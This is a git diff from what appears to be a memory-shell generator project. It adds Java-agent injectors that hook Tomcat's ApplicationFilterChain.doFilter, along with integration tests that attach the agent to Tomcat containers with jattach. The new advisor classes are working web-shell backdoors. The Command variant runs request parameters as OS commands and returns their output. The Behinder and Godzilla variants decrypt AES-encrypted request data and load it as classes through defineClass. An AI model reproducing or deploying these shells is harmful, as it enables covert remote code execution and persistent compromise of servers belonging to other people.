"/" + shellTool + shellType + packer.name() + ".jar"; + container.copyFileToContainer(MountableFile.forHostPath(tempJar), jarPath); + FileUtils.deleteQuietly(tempJar.toFile()); + String pidInContainer = container.execInContainer("bash", "/fetch_pid.sh").getStdout(); + String stdout = container.execInContainer("/jattach", pidInContainer, "load", "instrument", "false", jarPath).getStdout(); + assertTrue(stdout.contains("JVM response code = 0")); + } else { + content = packer.getPacker().pack(generateResult); + assertInjectIsOk(url, shellType, shellTool, content, packer, container); + } + + switch (shellTool) { + case Godzilla: + GodzillaShellTool.testIsOk(shellUrl, ((GodzillaConfig) generateResult.getShellToolConfig())); + break; + case Command: + CommandShellTool.testIsOk(shellUrl, ((CommandConfig) generateResult.getShellToolConfig())); + break; + case Behinder: + BehinderShellTool.testIsOk(shellUrl, ((BehinderConfig) generateResult.getShellToolConfig())); + } + } + + public static GenerateResult generate(String url, String urlPattern, Server server, String shellType, ShellTool shellTool, int targetJdkVersion, Packer.INSTANCE packer) { + InjectorConfig injectorConfig = new InjectorConfig(); + if (StringUtils.isNotBlank(urlPattern)) { injectorConfig.setUrlPattern(urlPattern); } @@ -35,41 +87,38 @@ public class ShellAssertionTool { .debug(true) .build(); - + ShellToolConfig shellToolConfig = null; + String uniqueName = shellTool + shellType + packer.name(); switch (shellTool) { case Godzilla: String godzillaPass = "pass"; String godzillaKey = "key"; - String godzillaHeaderValue = "Godzilla" + shellType + packer.name(); - GodzillaConfig godzillaConfig = GodzillaConfig.builder() + shellToolConfig = GodzillaConfig.builder() .pass(godzillaPass).key(godzillaKey) - .headerName("User-Agent").headerValue(godzillaHeaderValue) + .headerName("User-Agent").headerValue(uniqueName) .build(); - log.info("generated {} godzilla with pass: {}, key: {}, headerValue: {}", shellType, godzillaPass, godzillaKey, godzillaHeaderValue); - String content = GeneratorMain.generate(shellConfig, injectorConfig, godzillaConfig, packer); - assertInjectIsOk(url, shellType, shellTool, content, packer); - GodzillaShellTool.testIsOk(shellUrl, godzillaConfig); + log.info("generated {} godzilla with pass: {}, key: {}, headerValue: {}", shellType, godzillaPass, godzillaKey, uniqueName); break; case Command: - String paramName = "Command" + shellType + packer.name(); - CommandConfig commandConfig = CommandConfig.builder().paramName(paramName).build(); - String commandContent = GeneratorMain.generate(shellConfig, injectorConfig, commandConfig, packer); - log.info("generated {} command shell with paramName: {}", shellType, commandConfig.getParamName()); - assertInjectIsOk(url, shellType, shellTool, commandContent, packer); - CommandShellTool.testIsOk(shellUrl, commandConfig); + shellToolConfig = CommandConfig.builder() + .paramName(uniqueName) + .build(); + log.info("generated {} command shell with paramName: {}", shellType, uniqueName); break; case Behinder: String behinderPass = "pass"; - String behinderHeaderValue = "Behinder" + shellType + packer.name(); - BehinderConfig behinderConfig = BehinderConfig.builder().pass(behinderPass).headerName("User-Agent").headerValue(behinderHeaderValue).build(); - log.info("generated {} behinder with pass: {}, headerValue: {}", shellType, behinderPass, behinderHeaderValue); - String behinderContent = GeneratorMain.generate(shellConfig, injectorConfig, behinderConfig, packer); - assertInjectIsOk(url, shellType, shellTool, behinderContent, packer); - BehinderShellTool.testIsOk(shellUrl, behinderConfig); + shellToolConfig = BehinderConfig.builder() + .pass(behinderPass) + .headerName("User-Agent") + .headerValue(uniqueName) + .build(); + log.info("generated {} behinder with pass: {}, headerValue: {}", shellType, behinderPass, uniqueName); + break; } + return GeneratorMain.generate(shellConfig, injectorConfig, shellToolConfig); } - public static void assertInjectIsOk(String url, String shellType, ShellTool shellTool, String content, Packer.INSTANCE packer) { + public static void assertInjectIsOk(String url, String shellType, ShellTool shellTool, String content, Packer.INSTANCE packer, GenericContainer container) { switch (packer) { case JSP -> { String uploadEntry = url + "/upload"; diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat10ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat10ContainerTest.java index 1e594de0..ff25c5bc 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat10ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat10ContainerTest.java @@ -1,5 +1,6 @@ package com.reajason.javaweb.integration.tomcat; +import com.reajason.javaweb.memshell.TomcatShell; import com.reajason.javaweb.memshell.config.Constants; import com.reajason.javaweb.memshell.config.Server; import com.reajason.javaweb.memshell.config.ShellTool; @@ -17,8 +18,8 @@ import org.testcontainers.junit.jupiter.Testcontainers; import java.util.stream.Stream; -import static com.reajason.javaweb.integration.ContainerTool.getUrl; -import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile; +import static com.reajason.javaweb.integration.ContainerTool.*; +import static com.reajason.javaweb.integration.ContainerTool.tomcatPid; import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; import static org.hamcrest.MatcherAssert.assertThat; @@ -35,6 +36,8 @@ public class Tomcat10ContainerTest { @Container public final static GenericContainer container = new GenericContainer<>(imageName) .withCopyToContainer(warJakartaFile, "/usr/local/tomcat/webapps/app.war") + .withCopyToContainer(jattachFile, "/jattach") + .withCopyToContainer(tomcatPid, "/fetch_pid.sh") .waitingFor(Wait.forHttp("/app")) .withExposedPorts(8080); @@ -63,7 +66,10 @@ public class Tomcat10ContainerTest { arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize) + arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize), + arguments(imageName, TomcatShell.AGENT_JAKARTA_FILTER_CHAIN, ShellTool.Command, Packer.INSTANCE.AgentJar), + arguments(imageName, TomcatShell.AGENT_JAKARTA_FILTER_CHAIN, ShellTool.Godzilla, Packer.INSTANCE.AgentJar), + arguments(imageName, TomcatShell.AGENT_JAKARTA_FILTER_CHAIN, ShellTool.Behinder, Packer.INSTANCE.AgentJar) ); } @@ -77,6 +83,6 @@ public class Tomcat10ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { - testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V11, packer); + testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V11, packer, container); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat11ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat11ContainerTest.java index b7c68635..1bf54421 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat11ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat11ContainerTest.java @@ -1,10 +1,10 @@ package com.reajason.javaweb.integration.tomcat; +import com.reajason.javaweb.memshell.TomcatShell; import com.reajason.javaweb.memshell.config.Constants; import com.reajason.javaweb.memshell.config.Server; import com.reajason.javaweb.memshell.config.ShellTool; import com.reajason.javaweb.memshell.packer.Packer; -import com.reajason.javaweb.memshell.TomcatShell; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; @@ -18,8 +18,7 @@ import org.testcontainers.junit.jupiter.Testcontainers; import java.util.stream.Stream; -import static com.reajason.javaweb.integration.ContainerTool.getUrl; -import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile; +import static com.reajason.javaweb.integration.ContainerTool.*; import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; import static org.hamcrest.MatcherAssert.assertThat; @@ -37,6 +36,8 @@ public class Tomcat11ContainerTest { @Container public final static GenericContainer container = new GenericContainer<>(imageName) .withCopyToContainer(warJakartaFile, "/usr/local/tomcat/webapps/app.war") + .withCopyToContainer(jattachFile, "/jattach") + .withCopyToContainer(tomcatPid, "/fetch_pid.sh") .waitingFor(Wait.forHttp("/app")) .withExposedPorts(8080); @@ -53,7 +54,10 @@ public class Tomcat11ContainerTest { arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Behinder, Packer.INSTANCE.JSP), arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packer.INSTANCE.JSP) + arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, TomcatShell.AGENT_JAKARTA_FILTER_CHAIN, ShellTool.Command, Packer.INSTANCE.AgentJar), + arguments(imageName, TomcatShell.AGENT_JAKARTA_FILTER_CHAIN, ShellTool.Godzilla, Packer.INSTANCE.AgentJar), + arguments(imageName, TomcatShell.AGENT_JAKARTA_FILTER_CHAIN, ShellTool.Behinder, Packer.INSTANCE.AgentJar) ); } @@ -67,6 +71,6 @@ public class Tomcat11ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { - testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V17, packer); + testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V17, packer, container); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat11JRE21ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat11JRE21ContainerTest.java index b9981366..131ffb28 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat11JRE21ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat11JRE21ContainerTest.java @@ -1,5 +1,6 @@ package com.reajason.javaweb.integration.tomcat; +import com.reajason.javaweb.memshell.TomcatShell; import com.reajason.javaweb.memshell.config.Constants; import com.reajason.javaweb.memshell.config.Server; import com.reajason.javaweb.memshell.config.ShellTool; @@ -17,8 +18,7 @@ import org.testcontainers.junit.jupiter.Testcontainers; import java.util.stream.Stream; -import static com.reajason.javaweb.integration.ContainerTool.getUrl; -import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile; +import static com.reajason.javaweb.integration.ContainerTool.*; import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; import static org.hamcrest.MatcherAssert.assertThat; @@ -36,6 +36,8 @@ public class Tomcat11JRE21ContainerTest { @Container public final static GenericContainer container = new GenericContainer<>(imageName) .withCopyToContainer(warJakartaFile, "/usr/local/tomcat/webapps/app.war") + .withCopyToContainer(jattachFile, "/jattach") + .withCopyToContainer(tomcatPid, "/fetch_pid.sh") .waitingFor(Wait.forHttp("/app")) .withExposedPorts(8080); @@ -52,7 +54,10 @@ public class Tomcat11JRE21ContainerTest { arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Behinder, Packer.INSTANCE.JSP), arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packer.INSTANCE.JSP) + arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, TomcatShell.AGENT_JAKARTA_FILTER_CHAIN, ShellTool.Command, Packer.INSTANCE.AgentJar), + arguments(imageName, TomcatShell.AGENT_JAKARTA_FILTER_CHAIN, ShellTool.Godzilla, Packer.INSTANCE.AgentJar), + arguments(imageName, TomcatShell.AGENT_JAKARTA_FILTER_CHAIN, ShellTool.Behinder, Packer.INSTANCE.AgentJar) ); } @@ -66,6 +71,6 @@ public class Tomcat11JRE21ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { - testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V21, packer); + testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V21, packer, container); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8ContainerTest.java index 405b2d79..a3efe956 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8ContainerTest.java @@ -1,5 +1,6 @@ package com.reajason.javaweb.integration.tomcat; +import com.reajason.javaweb.memshell.TomcatShell; import com.reajason.javaweb.memshell.config.Constants; import com.reajason.javaweb.memshell.config.Server; import com.reajason.javaweb.memshell.config.ShellTool; @@ -14,11 +15,12 @@ import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.wait.strategy.Wait; import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Testcontainers; +import org.testcontainers.utility.MountableFile; +import java.nio.file.Path; import java.util.stream.Stream; -import static com.reajason.javaweb.integration.ContainerTool.getUrl; -import static com.reajason.javaweb.integration.ContainerTool.warExpressionFile; +import static com.reajason.javaweb.integration.ContainerTool.*; import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; import static org.hamcrest.MatcherAssert.assertThat; @@ -32,9 +34,13 @@ import static org.junit.jupiter.params.provider.Arguments.arguments; @Testcontainers public class Tomcat8ContainerTest { public static final String imageName = "tomcat:8-jre8"; + + @Container public final static GenericContainer container = new GenericContainer<>(imageName) .withCopyToContainer(warExpressionFile, "/usr/local/tomcat/webapps/app.war") + .withCopyToContainer(jattachFile, "/jattach") + .withCopyToContainer(tomcatPid, "/fetch_pid.sh") .waitingFor(Wait.forHttp("/app")) .withExposedPorts(8080); @@ -80,20 +86,22 @@ public class Tomcat8ContainerTest { arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.OGNL), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.SpEL), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Freemarker), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Velocity) + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Velocity), + arguments(imageName, TomcatShell.AGENT_FILTER_CHAIN, ShellTool.Command, Packer.INSTANCE.AgentJar), + arguments(imageName, TomcatShell.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packer.INSTANCE.AgentJar), + arguments(imageName, TomcatShell.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packer.INSTANCE.AgentJar) ); } @AfterAll static void tearDown() { String logs = container.getLogs(); - log.info(logs); assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); } @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { - testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V1_8, packer); + testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V1_8, packer, container); } } \ No newline at end of file diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat9ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat9ContainerTest.java index 7d3c777e..27aae5a9 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat9ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat9ContainerTest.java @@ -1,10 +1,10 @@ package com.reajason.javaweb.integration.tomcat; +import com.reajason.javaweb.memshell.TomcatShell; import com.reajason.javaweb.memshell.config.Constants; import com.reajason.javaweb.memshell.config.Server; import com.reajason.javaweb.memshell.config.ShellTool; import com.reajason.javaweb.memshell.packer.Packer; -import com.reajason.javaweb.memshell.TomcatShell; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; @@ -18,8 +18,7 @@ import org.testcontainers.junit.jupiter.Testcontainers; import java.util.stream.Stream; -import static com.reajason.javaweb.integration.ContainerTool.getUrl; -import static com.reajason.javaweb.integration.ContainerTool.warFile; +import static com.reajason.javaweb.integration.ContainerTool.*; import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; import static org.hamcrest.MatcherAssert.assertThat; @@ -36,6 +35,8 @@ public class Tomcat9ContainerTest { @Container public final static GenericContainer container = new GenericContainer<>(imageName) .withCopyToContainer(warFile, "/usr/local/tomcat/webapps/app.war") + .withCopyToContainer(jattachFile, "/jattach") + .withCopyToContainer(tomcatPid, "/fetch_pid.sh") .waitingFor(Wait.forHttp("/app")) .withExposedPorts(8080); @@ -64,7 +65,10 @@ public class Tomcat9ContainerTest { arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize) + arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize), + arguments(imageName, TomcatShell.AGENT_FILTER_CHAIN, ShellTool.Command, Packer.INSTANCE.AgentJar), + arguments(imageName, TomcatShell.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packer.INSTANCE.AgentJar), + arguments(imageName, TomcatShell.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packer.INSTANCE.AgentJar) ); } @@ -78,6 +82,6 @@ public class Tomcat9ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { - testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V9, packer); + testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V9, packer, container); } } diff --git a/memshell-java8/build.gradle b/memshell-java8/build.gradle index ec18feae..0a00df0e 100644 --- a/memshell-java8/build.gradle +++ b/memshell-java8/build.gradle @@ -4,16 +4,21 @@ plugins { group = 'com.reajason.javaweb' version = '' -sourceCompatibility = '1.8' + +java { + sourceCompatibility = JavaVersion.VERSION_1_8 +} repositories { mavenCentral() } dependencies { + implementation project(":memshell") implementation 'org.springframework:spring-webmvc:4.3.30.RELEASE' implementation 'org.springframework:spring-webflux:5.3.24' implementation 'org.springframework:spring-web:4.3.30.RELEASE' + implementation 'net.bytebuddy:byte-buddy:1.+' providedCompile 'javax.servlet:javax.servlet-api:3.0.1' providedCompile 'javax.websocket:javax.websocket-api:1.1' testImplementation platform('org.junit:junit-bom:5.10.0') diff --git a/memshell-java8/src/main/java/com/reajason/javaweb/memshell/tomcat/behinder/TomcatFilterChainBehinderAdvisor.java b/memshell-java8/src/main/java/com/reajason/javaweb/memshell/tomcat/behinder/TomcatFilterChainBehinderAdvisor.java new file mode 100644 index 00000000..e8eff4d8 --- /dev/null +++ b/memshell-java8/src/main/java/com/reajason/javaweb/memshell/tomcat/behinder/TomcatFilterChainBehinderAdvisor.java @@ -0,0 +1,71 @@ +package com.reajason.javaweb.memshell.tomcat.behinder; + +import net.bytebuddy.asm.Advice; + +import javax.crypto.Cipher; +import javax.crypto.spec.SecretKeySpec; +import javax.servlet.ServletRequest; +import javax.servlet.ServletResponse; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import javax.servlet.http.HttpSession; +import java.lang.reflect.Field; +import java.lang.reflect.Method; +import java.util.Base64; +import java.util.HashMap; +import java.util.Map; + +/** + * @author ReaJason + */ +public class TomcatFilterChainBehinderAdvisor { + public static String pass; + public static String headerName; + public static String headerValue; + + @Advice.OnMethodEnter(skipOn = Advice.OnNonDefaultValue.class) + public static boolean enter( + @Advice.Argument(value = 0) ServletRequest req, + @Advice.Argument(value = 1) ServletResponse res + ) { + HttpServletRequest request = (HttpServletRequest) req; + HttpServletResponse response = (HttpServletResponse) res; + try { + if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) { + HttpSession session = request.getSession(); + Map obj = new HashMap(3); + obj.put("request", request); + + Field field = null; + Class clazz = obj.getClass(); + while (clazz != Object.class) { + try { + field = clazz.getDeclaredField("response"); + break; + } catch (NoSuchFieldException var5) { + clazz = clazz.getSuperclass(); + } + } + if (field != null) { + field.setAccessible(true); + response = (HttpServletResponse) field.get(obj); + } + obj.put("response", response); + obj.put("session", session); + session.setAttribute("u", pass); + Cipher c = Cipher.getInstance("AES"); + c.init(2, new SecretKeySpec(pass.getBytes(), "AES")); + byte[] bytes = c.doFinal(Base64.getDecoder().decode(req.getReader().readLine())); + Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + Class payload = (Class) defineClass.invoke(Thread.currentThread().getContextClassLoader(), bytes, 0, bytes.length); + Object instance = payload.newInstance(); + instance.equals(obj); + return true; + } + } catch (Exception e) { + e.printStackTrace(); + } + return false; + } +} \ No newline at end of file diff --git a/memshell-java8/src/main/java/com/reajason/javaweb/memshell/tomcat/command/TomcatFilterChainCommandAdvisor.java b/memshell-java8/src/main/java/com/reajason/javaweb/memshell/tomcat/command/TomcatFilterChainCommandAdvisor.java new file mode 100644 index 00000000..1fd585cf --- /dev/null +++ b/memshell-java8/src/main/java/com/reajason/javaweb/memshell/tomcat/command/TomcatFilterChainCommandAdvisor.java @@ -0,0 +1,40 @@ +package com.reajason.javaweb.memshell.tomcat.command; + +import net.bytebuddy.asm.Advice; + +import javax.servlet.ServletOutputStream; +import javax.servlet.ServletRequest; +import javax.servlet.ServletResponse; +import java.io.InputStream; + +/** + * @author ReaJason + */ +public class TomcatFilterChainCommandAdvisor { + public static String paramName; + + @Advice.OnMethodEnter(skipOn = Advice.OnNonDefaultValue.class) + public static boolean enter( + @Advice.Argument(value = 0) ServletRequest request, + @Advice.Argument(value = 1) ServletResponse response + ) { + System.out.println(paramName); + String cmd = request.getParameter(paramName); + try { + if (cmd != null) { + System.out.println(cmd); + Process exec = Runtime.getRuntime().exec(cmd); + InputStream inputStream = exec.getInputStream(); + ServletOutputStream outputStream = response.getOutputStream(); + byte[] buf = new byte[8192]; + int length; + while ((length = inputStream.read(buf)) != -1) { + outputStream.write(buf, 0, length); + } + return true; + } + } catch (Exception ignored) { + } + return false; + } +} \ No newline at end of file diff --git a/memshell-java8/src/main/java/com/reajason/javaweb/memshell/tomcat/godzilla/TomcatFilterChainGodzillaAdvisor.java b/memshell-java8/src/main/java/com/reajason/javaweb/memshell/tomcat/godzilla/TomcatFilterChainGodzillaAdvisor.java new file mode 100644 index 00000000..a7492aa2 --- /dev/null +++ b/memshell-java8/src/main/java/com/reajason/javaweb/memshell/tomcat/godzilla/TomcatFilterChainGodzillaAdvisor.java @@ -0,0 +1,72 @@ +package com.reajason.javaweb.memshell.tomcat.godzilla; + +import net.bytebuddy.asm.Advice; + +import javax.crypto.Cipher; +import javax.crypto.spec.SecretKeySpec; +import javax.servlet.ServletRequest; +import javax.servlet.ServletResponse; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import javax.servlet.http.HttpSession; +import java.io.ByteArrayOutputStream; +import java.lang.reflect.Method; +import java.util.Base64; + +/** + * @author ReaJason + */ +public class TomcatFilterChainGodzillaAdvisor { + public static String key; + public static String pass; + public static String md5; + public static String headerName; + public static String headerValue; + + @Advice.OnMethodEnter(skipOn = Advice.OnNonDefaultValue.class) + public static boolean enter( + @Advice.Argument(value = 0) ServletRequest req, + @Advice.Argument(value = 1) ServletResponse res + ) { + if (!(req instanceof HttpServletRequest)) { + return false; + } + HttpServletRequest request = (HttpServletRequest) req; + HttpServletResponse response = (HttpServletResponse) res; + try { + if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) { + HttpSession session = request.getSession(); + String parameter = request.getParameter(pass); + byte[] data = Base64.getDecoder().decode(parameter); + Cipher c = Cipher.getInstance("AES"); + SecretKeySpec keySpec = new SecretKeySpec(key.getBytes(), "AES"); + c.init(2, keySpec); + data = c.doFinal(data); + if (session.getAttribute("payload") == null) { + Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + Class payload = (Class) defineClass.invoke(Thread.currentThread().getContextClassLoader(), data, 0, data.length); + session.setAttribute("payload", payload); + } else { + request.setAttribute("parameters", data); + ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); + Object f = ((Class) session.getAttribute("payload")).newInstance(); + f.equals(arrOut); + f.equals(request); + response.getWriter().write(md5.substring(0, 16)); + f.toString(); + + c.init(1, keySpec); + byte[] encryptBytes = c.doFinal(arrOut.toByteArray()); + String value = Base64.getEncoder().encodeToString(encryptBytes); + response.getWriter().write(value); + response.getWriter().write(md5.substring(16)); + } + return true; + } + } catch (Exception e) { + e.printStackTrace(); + } + return false; + } +} \ No newline at end of file diff --git a/memshell-java8/src/main/java/com/reajason/javaweb/memshell/tomcat/injector/TomcatFilterChainAgentInjector.java b/memshell-java8/src/main/java/com/reajason/javaweb/memshell/tomcat/injector/TomcatFilterChainAgentInjector.java new file mode 100644 index 00000000..d2b0715a --- /dev/null +++ b/memshell-java8/src/main/java/com/reajason/javaweb/memshell/tomcat/injector/TomcatFilterChainAgentInjector.java @@ -0,0 +1,46 @@ +package com.reajason.javaweb.memshell.tomcat.injector; + +import net.bytebuddy.agent.builder.AgentBuilder; +import net.bytebuddy.asm.Advice; +import net.bytebuddy.matcher.ElementMatchers; + +import java.lang.instrument.Instrumentation; + +import static net.bytebuddy.matcher.ElementMatchers.named; + +/** + * @author ReaJason + * @since 2024/12/28 + */ +public class TomcatFilterChainAgentInjector { + + public static void premain(String args, Instrumentation inst) throws Exception { + launch(inst); + } + + public static void agentmain(String args, Instrumentation inst) throws Exception { + launch(inst); + } + + public static String getClassName() { + return "{{advisorName}}"; + } + + private static void launch(Instrumentation inst) throws Exception { + System.out.println("MemShell Agent is starting"); + Class interceptorClass = Class.forName(getClassName()); + new AgentBuilder.Default() + .ignore(ElementMatchers.none()) + .with(AgentBuilder.RedefinitionStrategy.REDEFINITION) +// .with(AgentBuilder.Listener.StreamWriting.toSystemError().withErrorsOnly()) +// .with(AgentBuilder.Listener.StreamWriting.toSystemOut().withTransformationsOnly()) + .type(named("org.apache.catalina.core.ApplicationFilterChain")) + .transform( + (builder, typeDescription, classLoader, + module, protectionDomain) -> + builder.visit(Advice.to(interceptorClass).on(named("doFilter"))) + ) + .installOn(inst); + System.out.println("MemShell Agent is working at org.apache.catalina.core.ApplicationFilterChain.doFilter"); + } +} \ No newline at end of file diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/apusic/behinder/BehinderListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/apusic/behinder/BehinderListener.java index a2c2006f..31f5c326 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/apusic/behinder/BehinderListener.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/apusic/behinder/BehinderListener.java @@ -16,9 +16,9 @@ import java.util.Map; * @since 2024/12/21 */ public class BehinderListener extends ClassLoader implements ServletRequestListener { - public String pass = "{{pass}}"; - public String headerName = "{{headerName}}"; - public String headerValue = "{{headerValue}}"; + public static String pass; + public static String headerName; + public static String headerValue; public BehinderListener() { } diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/apusic/command/CommandListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/apusic/command/CommandListener.java index 9448737a..0deab211 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/apusic/command/CommandListener.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/apusic/command/CommandListener.java @@ -12,7 +12,7 @@ import java.lang.reflect.Field; * @author ReaJason */ public class CommandListener implements ServletRequestListener { - public String paramName = "{{paramName}}"; + public static String paramName; public CommandListener() { } diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/apusic/godzilla/GodzillaListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/apusic/godzilla/GodzillaListener.java index e01145b8..2c57b7ab 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/apusic/godzilla/GodzillaListener.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/apusic/godzilla/GodzillaListener.java @@ -14,11 +14,11 @@ import java.lang.reflect.Field; * @author ReaJason */ public class GodzillaListener extends ClassLoader implements ServletRequestListener { - public String key = "{{key}}"; - public String pass = "{{pass}}"; - public String md5 = "{{md5}}"; - public String headerName = "{{headerName}}"; - public String headerValue = "{{headerValue}}"; + public static String key; + public static String pass; + public static String md5; + public static String headerName; + public static String headerValue; public GodzillaListener() { } diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/bes/behinder/BehinderValve.java 